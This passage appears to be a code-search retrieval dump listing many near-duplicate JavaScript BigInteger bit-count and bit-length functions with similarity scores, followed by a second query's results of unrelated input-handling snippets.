}, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "4b13742630f140e39e0179108a269e35", "score": "0.7611839", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "9b3f9277c2d4152e53cb49647a11d211", "score": "0.76108515", "text": "function bnBitCount() {\n var r = 0,\n x = this.s & this.DM;\n for (var i = 0; i < this.t; ++i) {\n r += cbit(this[i] ^ x);\n }return r;\n }", "title": "" }, { "docid": "4efb7e77718d0e725c063efe3c6e7a27", "score": "0.7604281", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n }", "title": "" }, { "docid": "a0a674187d30cc7c3962acb1061073d7", "score": "0.7589651", "text": "function bnBitCount() {\n var r = 0,\n x = this.s & this.DM;\n for (var i = 0; i < this.t; ++i) {\n r += cbit(this[i] ^ x);\n }return r;\n }", "title": "" }, { "docid": "a0a674187d30cc7c3962acb1061073d7", "score": "0.7589651", "text": "function bnBitCount() {\n var r = 0,\n x = this.s & this.DM;\n for (var i = 0; i < this.t; ++i) {\n r += cbit(this[i] ^ x);\n }return r;\n }", "title": "" }, { "docid": "115525351aba97c2375f6a8f190f2733", "score": "0.7583685", "text": "function bnBitCount() {\n\t var r = 0,\n\t x = this.s & this.DM;\n\t for (var i = 0; i < this.t; ++i) r += cbit(this[i] ^ x);\n\t return r;\n\t}", "title": "" }, { "docid": "bdffc707846f8369bdad01e4631a29fb", "score": "0.7583318", "text": "function bnBitCount() {\n var r = 0, x = this.s&BI_DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this_array[i]^x);\n return r;\n}", "title": "" }, { "docid": "914b021309e2a659345baec9820f143c", "score": "0.7564895", "text": "function bnBitCount() {\n var r = 0,\n x = this.s & this.DM;\n for (var i = 0; i < this.t; ++i) r += cbit(this[i] ^ x);\n return r;\n }", "title": "" }, { "docid": "fb198c8c8534037cc13ebefb7685c3a1", "score": "0.7540721", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n}", "title": "" }, { "docid": "fb198c8c8534037cc13ebefb7685c3a1", "score": "0.7540721", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n}", "title": "" }, { "docid": "fb198c8c8534037cc13ebefb7685c3a1", "score": "0.7540721", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n}", "title": "" }, { "docid": "fb198c8c8534037cc13ebefb7685c3a1", "score": "0.7540721", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n}", "title": "" }, { "docid": "fb198c8c8534037cc13ebefb7685c3a1", "score": "0.7540721", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n}", "title": "" }, { "docid": "fb198c8c8534037cc13ebefb7685c3a1", "score": "0.7540721", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n}", "title": "" }, { "docid": "fb198c8c8534037cc13ebefb7685c3a1", "score": "0.7540721", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n}", "title": "" }, { "docid": "fb198c8c8534037cc13ebefb7685c3a1", "score": "0.7540721", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this[i]^x);\n return r;\n}", "title": "" }, { "docid": "e0ba7d6dcc7ca2527e0b2dd4ecbb14cf", "score": "0.7513849", "text": "function bnBitCount() {\n var r = 0,\n x = this.s & this.DM;\n for (var i = 0; i < this.t; ++i) r += cbit(this[i] ^ x);\n return r;\n}", "title": "" }, { "docid": "e0ba7d6dcc7ca2527e0b2dd4ecbb14cf", "score": "0.7513849", "text": "function bnBitCount() {\n var r = 0,\n x = this.s & this.DM;\n for (var i = 0; i < this.t; ++i) r += cbit(this[i] ^ x);\n return r;\n}", "title": "" }, { "docid": "46e5cb137efbc1d29251b924e8a49c5f", "score": "0.75110596", "text": "function bnBitCount()\n {\n var r = 0,\n x = this.s & this.DM;\n for (var i = 0; i < this.t; ++i) r += cbit(this[i] ^ x);\n return r;\n }", "title": "" }, { "docid": "549c4e18f4af3a351aedc75d9cd0e6d1", "score": "0.7500483", "text": "function bnBitCount()\n{\n var r = 0,\n x = this.s & this.DM;\n for (var i = 0; i < this.t; ++i) r += cbit(this[i] ^ x);\n return r;\n}", "title": "" }, { "docid": "ae22db9002618715301fdb04f94b695e", "score": "0.74856174", "text": "function bnBitCount() {\nvar r = 0, x = this.s&this.DM;\nfor(var i = 0; i < this.t; ++i) r += cbit(this.data[i]^x);\nreturn r;\n}", "title": "" }, { "docid": "ae22db9002618715301fdb04f94b695e", "score": "0.74856174", "text": "function bnBitCount() {\nvar r = 0, x = this.s&this.DM;\nfor(var i = 0; i < this.t; ++i) r += cbit(this.data[i]^x);\nreturn r;\n}", "title": "" }, { "docid": "ae22db9002618715301fdb04f94b695e", "score": "0.74856174", "text": "function bnBitCount() {\nvar r = 0, x = this.s&this.DM;\nfor(var i = 0; i < this.t; ++i) r += cbit(this.data[i]^x);\nreturn r;\n}", "title": "" }, { "docid": "ae22db9002618715301fdb04f94b695e", "score": "0.74856174", "text": "function bnBitCount() {\nvar r = 0, x = this.s&this.DM;\nfor(var i = 0; i < this.t; ++i) r += cbit(this.data[i]^x);\nreturn r;\n}", "title": "" }, { "docid": "f4dd8307741db7f6b5a00b49f4de1c1b", "score": "0.7479269", "text": "function bnBitCount() {\n var r = 0,\n x = this.s & this.DM;\n for (var i = 0; i < this.t; ++i) {\n r += cbit(this[i] ^ x);\n }return r;\n}", "title": "" }, { "docid": "d8693dd0411dcf9e56fbde2cda90961a", "score": "0.7478074", "text": "function bnBitCount() {\n var r = 0,\n x = this.s & this.DM;\n for (var i = 0; i < this.t; ++i) {\n r += cbit(this.data[i] ^ x);\n }return r;\n }", "title": "" }, { "docid": "6dc1366fedab980c8fb56a474e1432a9", "score": "0.7467714", "text": "function bitLength() : number {\n var this_array = this.array;\n if(this.t <= 0) return 0;\n return BigInteger.DB*(this.t-1)+BigInteger.nbits(this_array[this.t-1]^(this.s&BigInteger.DM));\n }", "title": "" }, { "docid": "b61bb3eb79b2169ebcaa8d96c9b43750", "score": "0.7467435", "text": "function bnBitCount() {\n var r = 0,\n x = this.s & this.DM\n for (var i = 0; i < this.t; ++i) r += cbit(this[i] ^ x)\n return r\n}", "title": "" }, { "docid": "b61bb3eb79b2169ebcaa8d96c9b43750", "score": "0.7467435", "text": "function bnBitCount() {\n var r = 0,\n x = this.s & this.DM\n for (var i = 0; i < this.t; ++i) r += cbit(this[i] ^ x)\n return r\n}", "title": "" }, { "docid": "b61bb3eb79b2169ebcaa8d96c9b43750", "score": "0.7467435", "text": "function bnBitCount() {\n var r = 0,\n x = this.s & this.DM\n for (var i = 0; i < this.t; ++i) r += cbit(this[i] ^ x)\n return r\n}", "title": "" }, { "docid": "b61bb3eb79b2169ebcaa8d96c9b43750", "score": "0.7467435", "text": "function bnBitCount() {\n var r = 0,\n x = this.s & this.DM\n for (var i = 0; i < this.t; ++i) r += cbit(this[i] ^ x)\n return r\n}", "title": "" }, { "docid": "b61bb3eb79b2169ebcaa8d96c9b43750", "score": "0.7467435", "text": "function bnBitCount() {\n var r = 0,\n x = this.s & this.DM\n for (var i = 0; i < this.t; ++i) r += cbit(this[i] ^ x)\n return r\n}", "title": "" }, { "docid": "b61bb3eb79b2169ebcaa8d96c9b43750", "score": "0.7467435", "text": "function bnBitCount() {\n var r = 0,\n x = this.s & this.DM\n for (var i = 0; i < this.t; ++i) r += cbit(this[i] ^ x)\n return r\n}", "title": "" }, { "docid": "b61bb3eb79b2169ebcaa8d96c9b43750", "score": "0.7467435", "text": "function bnBitCount() {\n var r = 0,\n x = this.s & this.DM\n for (var i = 0; i < this.t; ++i) r += cbit(this[i] ^ x)\n return r\n}", "title": "" }, { "docid": "b61bb3eb79b2169ebcaa8d96c9b43750", "score": "0.7467435", "text": "function bnBitCount() {\n var r = 0,\n x = this.s & this.DM\n for (var i = 0; i < this.t; ++i) r += cbit(this[i] ^ x)\n return r\n}", "title": "" }, { "docid": "b61bb3eb79b2169ebcaa8d96c9b43750", "score": "0.7467435", "text": "function bnBitCount() {\n var r = 0,\n x = this.s & this.DM\n for (var i = 0; i < this.t; ++i) r += cbit(this[i] ^ x)\n return r\n}", "title": "" }, { "docid": "83746bba9878067b07bd03808b34a181", "score": "0.74168074", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this.data[i]^x);\n return r;\n}", "title": "" }, { "docid": "83746bba9878067b07bd03808b34a181", "score": "0.74168074", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this.data[i]^x);\n return r;\n}", "title": "" }, { "docid": "83746bba9878067b07bd03808b34a181", "score": "0.74168074", "text": "function bnBitCount() {\n var r = 0, x = this.s&this.DM;\n for(var i = 0; i < this.t; ++i) r += cbit(this.data[i]^x);\n return r;\n}", "title": "" }, { "docid": "e078bf6c32e8ab039f3a9636697b836c", "score": "0.7287562", "text": "function bnBitLength()\n{\n if (this.t <= 0) return 0;\n return this.DB * (this.t - 1) + nbits(this[this.t - 1] ^ (this.s & this.DM));\n}", "title": "" }, { "docid": "23336bc94f8539b91d492b8ae9deaf78", "score": "0.7243783", "text": "function bnBitLength() {\r\n\tif (this.t <= 0)\r\n\t\treturn 0;\r\n\treturn this.DB * (this.t - 1)\r\n\t\t\t+ nbits(this.arr[this.t - 1] ^ (this.s & this.DM));\r\n}", "title": "" }, { "docid": "176015d1514341fb81697dc3b179279c", "score": "0.71949214", "text": "function bnBitLength() {\n\t if (this.t <= 0) return 0;\n\t return this.DB * (this.t - 1) + nbits(this[this.t - 1] ^ (this.s & this.DM));\n\t}", "title": "" }, { "docid": "8141e96191aefbb14e27a0670e5d73a3", "score": "0.7179273", "text": "function bnBitLength() {\n if (this.t <= 0) return 0;\n return this.DB * (this.t - 1) + nbits(this[this.t - 1] ^ (this.s & this.DM));\n }", "title": "" }, { "docid": "9e74fba638ec57aee705bfc6c9abfa05", "score": "0.7159938", "text": "function bnBitLength() {\n\t if(this.t <= 0) return 0;\n\t return this.DB*(this.t-1)+nbits(this[this.t-1]^(this.s&this.DM));\n\t }", "title": "" }, { "docid": "199611123d3d464d75475c36059168ad", "score": "0.71421134", "text": "function bnBitLength() {\n\tif(this.t <= 0) return 0;\n\treturn this.DB*(this.t-1)+nbits(this[this.t-1]^(this.s&this.DM));\n }", "title": "" }, { "docid": "ae168a767948d8846753ba62a8cccc6c", "score": "0.7140754", "text": "function bnBitLength() {\r\n if(this.t <= 0) return 0;\r\n return this.DB*(this.t-1)+nbits(this[this.t-1]^(this.s&this.DM));\r\n}", "title": "" }, { "docid": "6c43b4be5858f652fce1f316d0840c18", "score": "0.7135236", "text": "function bnBitLength() {\n if (this.t <= 0) return 0;\n return this.DB * (this.t - 1) + nbits(this[this.t - 1] ^ this.s & this.DM);\n }", "title": "" }, { "docid": "069601225cd9084e44f3f87311392715", "score": "0.71336454", "text": "function bnBitLength() {\n if (this.t <= 0) return 0;\n return this.DB * (this.t - 1) + nbits(this[this.t - 1] ^ this.s & this.DM);\n }", "title": "" }, { "docid": "069601225cd9084e44f3f87311392715", "score": "0.71336454", "text": "function bnBitLength() {\n if (this.t <= 0) return 0;\n return this.DB * (this.t - 1) + nbits(this[this.t - 1] ^ this.s & this.DM);\n }", "title": "" }, { "docid": "57495179c6c0f52e79e431087abe11c6", "score": "0.7120224", "text": "function bnBitLength() {\n if (this.t <= 0) return 0;\n return this.DB * (this.t - 1) + nbits(this[this.t - 1] ^ this.s & this.DM);\n }", "title": "" }, { "docid": "37a8b189409883006e2f63e3c04a1cb2", "score": "0.71193963", "text": "function bnBitLength()\n {\n if (this.t <= 0) return 0;\n return this.DB * (this.t - 1) + nbits(this[this.t - 1] ^ (this.s & this.DM));\n }", "title": "" }, { "docid": "35e6f47d277c3e01b2ad7514964a8c2c", "score": "0.71103823", "text": "function bnBitLength() {\r\n if(this.t <= 0) return 0;\r\n return this.DB*(this.t-1)+nbits(this[this.t-1]^(this.s&this.DM));\r\n }", "title": "" }, { "docid": "ad7fe3d6908a3c80ec6236e737566d78", "score": "0.7108147", "text": "function bnBitLength() {\n if (this.t <= 0) return 0;\n return this.DB * (this.t - 1) + nbits(this[this.t - 1] ^ (this.s & this.DM));\n }", "title": "" }, { "docid": "d5cfdd8366dcadd766ea063c3e19d036", "score": "0.70899117", "text": "function bnBitLength() {\n\t if(this.t <= 0) return 0;\n\t return this.DB*(this.t-1)+nbits(this[this.t-1]^(this.s&this.DM));\n\t}", "title": "" }, { "docid": "d5cfdd8366dcadd766ea063c3e19d036", "score": "0.70899117", "text": "function bnBitLength() {\n\t if(this.t <= 0) return 0;\n\t return this.DB*(this.t-1)+nbits(this[this.t-1]^(this.s&this.DM));\n\t}", "title": "" }, { "docid": "18207915ec66e9caf733fb445656cbe2", "score": "0.7084764", "text": "function bnBitLength() {\n if (this.t <= 0) return 0;\n return this.DB * (this.t - 1) + nbits(this[this.t - 1] ^ this.s & this.DM);\n}", "title": "" }, { "docid": "b8fd995e90a56fa7de701d4cea3cd0e5", "score": "0.7071006", "text": "function bnBitLength() {\n var this_array = this.array;\n if(this.t <= 0) return 0;\n return BI_DB*(this.t-1)+nbits(this_array[this.t-1]^(this.s&BI_DM));\n}", "title": "" }, { "docid": "3a2399b9d4005a1dbe16b520201aebb6", "score": "0.70502585", "text": "function bnBitLength() {\n if (this.t <= 0) return 0;\n return this.DB * (this.t - 1) + nbits(this.data[this.t - 1] ^ this.s & this.DM);\n }", "title": "" }, { "docid": "ddf1b3ebcb5b62a976a88b745b04f0fc", "score": "0.7043122", "text": "function bnBitLength() {\n if(this.t <= 0) return 0;\n return this.DB*(this.t-1)+nbits(this[this.t-1]^(this.s&this.DM));\n}", "title": "" }, { "docid": "ddf1b3ebcb5b62a976a88b745b04f0fc", "score": "0.7043122", "text": "function bnBitLength() {\n if(this.t <= 0) return 0;\n return this.DB*(this.t-1)+nbits(this[this.t-1]^(this.s&this.DM));\n}", "title": "" }, { "docid": "ddf1b3ebcb5b62a976a88b745b04f0fc", "score": "0.7043122", "text": "function bnBitLength() {\n if(this.t <= 0) return 0;\n return this.DB*(this.t-1)+nbits(this[this.t-1]^(this.s&this.DM));\n}", "title": "" }, { "docid": "ddf1b3ebcb5b62a976a88b745b04f0fc", "score": "0.7043122", "text": "function bnBitLength() {\n if(this.t <= 0) return 0;\n return this.DB*(this.t-1)+nbits(this[this.t-1]^(this.s&this.DM));\n}", "title": "" }, { "docid": "ddf1b3ebcb5b62a976a88b745b04f0fc", "score": "0.7043122", "text": "function bnBitLength() {\n if(this.t <= 0) return 0;\n return this.DB*(this.t-1)+nbits(this[this.t-1]^(this.s&this.DM));\n}", "title": "" } ]
d8a16a2ed410bd0770e826d5c708054e
envio dos inputs para tratamento
[ { "docid": "a5131c8097c568f50473a5747c9f43b2", "score": "0.0", "text": "function verificaNome(nome) {\n const regex = new RegExp('^[ 0-9a-zA-Zàèìòùáéíóúâêîôûãõ\\b]+$');\n if (nome <= 0 || !regex.test(nome)) {\n erroNome();\n return true;\n }\n }", "title": "" } ]
[ { "docid": "20b12aea3e0be07762677ffcc2adddfb", "score": "0.63873243", "text": "function input() {\n r = inputNumber(ipR, 3, true, 0.1, 10); // radio (m)\n tPer = inputNumber(ipT, 3, true, 1, 10); // // período (s) \n m = inputNumber(ipM, 3, true, 0.1, 10); // masa (kg)\n}", "title": "" }, { "docid": "b225b01094abd03240b47db4d9bfa391", "score": "0.6039744", "text": "function Input() {}", "title": "" }, { "docid": "bf0c78e6b0c5462c4bf3d12e61ddfcb2", "score": "0.59870744", "text": "constructor(inp = null) {\n this.input = inp;\n }", "title": "" }, { "docid": "f048b3df826e36fb4c5f5f07b9bbfcfc", "score": "0.5976851", "text": "function createInput(data) {\n\n}", "title": "" }, { "docid": "1839e55dca53f03fda13d5c67dec2fd7", "score": "0.59502053", "text": "handleInput(input) {\n\t\t\n\t}", "title": "" }, { "docid": "99a41a10527700f040f083c60c2e21c9", "score": "0.59390527", "text": "function gatherInputs() {\n\t // Nothing to do here!\n\t // The event handlers do everything we need for now.\n}", "title": "" }, { "docid": "d6f4547b4f12dfae5121b07b34c15a58", "score": "0.59282184", "text": "function pasarInput(cantidad,inicial, siguiente){\n vl=$('#'+inicial).val();\n c=vl.length\n if(c==cantidad){\n cadena=vl.split(\" \")\n $('#'+siguiente).val(cadena.pop())\n $('#'+siguiente).focus()\n nuevo=cadena.join(' ')\n $('#'+inicial).val(nuevo)\n }\n }", "title": "" }, { "docid": "812506e785b7a5872f63907887a694e5", "score": "0.58595425", "text": "function __construirInputs(funcionParaEjecutarAlFinal, formulario, matrisInputs){\r\n\r\n\tfor (arregloInput of matrisInputs) {\r\n\r\n\t\t//contrullo el input\r\n\t\tvar input = new InputAutomatico\r\n\t\t(\r\n\t\t\tarregloInput,\r\n\t\t\tformulario.tabla\r\n\t\t);\r\n\r\n\t\t//agrego el input al listado inputs del form manager\r\n\t\tformulario.inputs[ arregloInput[0] ] = input;\r\n\t}\r\n\t//ejecuto la funcion asincronica del html\r\n\tfuncionParaEjecutarAlFinal();\r\n\r\n}", "title": "" }, { "docid": "91b0a8602ab09a9fca225e3aa9d2252d", "score": "0.5846778", "text": "function processData(input) {\n solucao(JSON.parse(input));\n}", "title": "" }, { "docid": "d3f5ebbb9cfac43538b1462c4f5d28d3", "score": "0.5838545", "text": "function gatherInputs() {\n // Nothing to do here!\n // The event handlers do everything we need for now.\n}", "title": "" }, { "docid": "d3f5ebbb9cfac43538b1462c4f5d28d3", "score": "0.5838545", "text": "function gatherInputs() {\n // Nothing to do here!\n // The event handlers do everything we need for now.\n}", "title": "" }, { "docid": "d3f5ebbb9cfac43538b1462c4f5d28d3", "score": "0.5838545", "text": "function gatherInputs() {\n // Nothing to do here!\n // The event handlers do everything we need for now.\n}", "title": "" }, { "docid": "aa5a6d38d3f755be700cac317fecc0b3", "score": "0.58212596", "text": "updateInputs (inputs) {\n this.updateMoves() // Actualizamos la posicion/accion del personaje\n this.inputs = inputs // Seteamos los inputs\n this.calculateAcceleration() // Calculamos la nueva aceleracion del personaje\n }", "title": "" }, { "docid": "2ed4338f69b85008bbd6156aabe24acc", "score": "0.5791292", "text": "input(states) {\n throw new Error('You have to implement the \"input\" method!');\n }", "title": "" }, { "docid": "29fee7e1efb5084b119142c37571fd77", "score": "0.57530135", "text": "function gatherInputs() {\n // Nothing to do here!\n // The event handlers do everything we need for now.\n}", "title": "" }, { "docid": "29fee7e1efb5084b119142c37571fd77", "score": "0.57530135", "text": "function gatherInputs() {\n // Nothing to do here!\n // The event handlers do everything we need for now.\n}", "title": "" }, { "docid": "29fee7e1efb5084b119142c37571fd77", "score": "0.57530135", "text": "function gatherInputs() {\n // Nothing to do here!\n // The event handlers do everything we need for now.\n}", "title": "" }, { "docid": "29fee7e1efb5084b119142c37571fd77", "score": "0.57530135", "text": "function gatherInputs() {\n // Nothing to do here!\n // The event handlers do everything we need for now.\n}", "title": "" }, { "docid": "29fee7e1efb5084b119142c37571fd77", "score": "0.57530135", "text": "function gatherInputs() {\n // Nothing to do here!\n // The event handlers do everything we need for now.\n}", "title": "" }, { "docid": "29fee7e1efb5084b119142c37571fd77", "score": "0.57530135", "text": "function gatherInputs() {\n // Nothing to do here!\n // The event handlers do everything we need for now.\n}", "title": "" }, { "docid": "29fee7e1efb5084b119142c37571fd77", "score": "0.57530135", "text": "function gatherInputs() {\n // Nothing to do here!\n // The event handlers do everything we need for now.\n}", "title": "" }, { "docid": "0d8da17f25c01e19c2882c2feac52d6b", "score": "0.5748446", "text": "function readInput(err,data){\r\n if (err) {\r\n return console.log(err);\r\n }\r\n inputString = data.split('\\n');\r\n \r\n main();\r\n}", "title": "" }, { "docid": "2035a8e2cda956f04a7b3d1a6ef5aec2", "score": "0.572649", "text": "function getInputs(...inputs) {\r\n inputs.forEach(input => {\r\n //Convert hyphenated strings to camel case\r\n const fixedInputName = input.replace(/-([a-z])/g, g => { return g[1].toUpperCase(); });\r\n\r\n //Return variable containing each input in arguments\r\n return eval(`${fixedInputName}Input = document.querySelector(\"input[name=${input}]\");`);\r\n }) //End forEach\r\n}", "title": "" }, { "docid": "cb528d30466ace25c9db102dff65bbcd", "score": "0.5696772", "text": "getInputs(input){ \n return this.inputs[input];\n }", "title": "" }, { "docid": "3263ba199352f8d9e15cc7df778ae3f9", "score": "0.56888753", "text": "function userInput(){\n\n inquirer\n .prompt([\n {\n type: \"input\",\n name: \"itemId\",\n message: \"Type the ID of the item you would like to purchase\"\n },\n {\n type: \"input\",\n name: \"itemQuantity\",\n message: \"How many?\"\n }\n ])\n .then(answer => {\n \n var id = answer.itemId;\n var quantity = answer.itemQuantity;\n\n getProductQuantity(id,quantity);\n\n })\n }", "title": "" }, { "docid": "5f4be94f2f9debbb22bf2c9ccb8249c1", "score": "0.56875414", "text": "get_and_process_inputs()\n {\n // thiks is to be increased.\n let input_id = document.getElementById(\"inputId\");\n let input = input_id.value;\n input = input.toLowerCase(); //this is a testing line , to be executed later.\n\n\n // console.error(input)\n\n\n return input;\n\n }", "title": "" }, { "docid": "3a4d3518843f1f0e61601434c93ef2f7", "score": "0.56808156", "text": "function input () {\n ny = inputNumber(ipNy,3,false,0.1,100); // Frequenz (Hz)\n u0 = inputNumber(ipU0,3,false,0.1,100); // Maximale Spannung (V)\n if (dPhi == 0) r = inputNumber(ipRCL,3,false,10,1000); // Falls Widerstand, Eingabe in Ohm\n else if (dPhi > 0) // Falls Kondensator ...\n c = 1e-6*inputNumber(ipRCL,3,false,1,100); // ... Eingabe der Kapazität in Mikrofarad, Umrechnung in Farad\n else l = inputNumber(ipRCL,3,false,10,1000); // Falls Spule, Eingabe der Induktivität in Henry \n } // ---!", "title": "" }, { "docid": "fc273e89207ad4f9fa29e2bef9f3401f", "score": "0.56711185", "text": "function input() {\n rl.question('Length: ', length => {\n rl.question('Width: ', width => {\n rl.question('Height: ', height => {\n if (!isNaN(length) && !isNaN(width) && !isNaN(height)) {\n console.log(`\\nBeam: ${beam(length, width, height)}`);\n rl.close()\n } else {\n console.log(`Length, Width and Height must be a number\\n`);\n input()\n }\n })\n })\n })\n}", "title": "" }, { "docid": "8d100496396a52d1e254a78bab8298a8", "score": "0.56547403", "text": "handleInput() {}", "title": "" }, { "docid": "d73433be9505cb985ca1cd468e0d778c", "score": "0.5647703", "text": "function executiveInputs(res) {\n\tinquirer.prompt({\n\t\tname: 'deptSales',\n\t\ttype: 'list',\n\t\tmessage: 'What do you want to do',\n\t\tchoices: ['View Product Sales by Department', 'Create New Department']\n\t}).then(function(answer) {\n\t\tswitch (answer.deptSales) {\n\t\t\tcase 'View Product Sales by Department':\n\t\t\t\tconnection.query('SELECT DepartmentID, DepartmentName, OverHeadCosts, TotalSales, (TotalSales - OverHeadCosts) AS TotalProfit FROM departments', function (err, res) {\n\t\t\t\t\tif(err)throw 